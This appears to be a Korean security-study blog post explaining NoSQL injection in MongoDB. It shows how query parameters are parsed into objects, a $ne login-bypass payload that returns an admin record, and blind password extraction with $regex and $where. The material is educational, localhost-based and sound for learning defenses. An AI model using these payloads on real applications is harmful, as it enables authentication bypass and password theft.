728x90
1. NoSQL Injection -MongoDB
SQL은 저장하는 데이터의 자료형으로 문자열, 정수, 날짜 등을 사용할 수 있다.
MongoDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있는데 오브젝트 타입의 입력값을 처리할 때 쿼리 연산자를 사용할 수 있어 다양한 행위가 가능하다.
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
오브젝트 타입의 입력값을 통해 exploit한 예시를 들어보면 아래와 같다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
$ne는 not equal 뜻의 연산자인데 $ne를 사용하여 uid가 a가 아니고 upw가 a가 아니다라는 뜻을 가진 쿼리를 만들 수 있다.
쿼리를 집어넣으면 admin의 아이디가 나오는 걸 확인할 수 있다.
2. Blind NoSQL Injection
MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.
$regex : 지정된 정규식고 일치하는 문자를 선택
$where : JavaScript 표현식을 만족하는 문서와 일치
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
^a 표시는 정규식에서 a로 시작하는 문자를 찾아달라는 뜻이다.
위의 예시에선 a에서부터 z까지 하나씩 대입하여 패스워드가 g부터 시작하는 계정 값을 알아낼 수 있었다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
$where은 javascript함수를 쓸 수 있게 하는데 이를 통해 substring함수를 사용하여 blind sql injection을 진행 할 수 있다.
728x90
반응형
'Web Hacking > Information' 카테고리의 다른 글
Command Injection (0) | 2024.05.01 |
---|---|
SQL Injection 팁 정리 (0) | 2024.04.15 |
Non-Relational DBMS (비관계형 데이터베이스) (0) | 2024.04.10 |
Cross Site Request Forgery (CSRF) 취약점 (0) | 2024.04.04 |
Cross Site Scripting (XSS) 취약점 (0) | 2024.04.04 |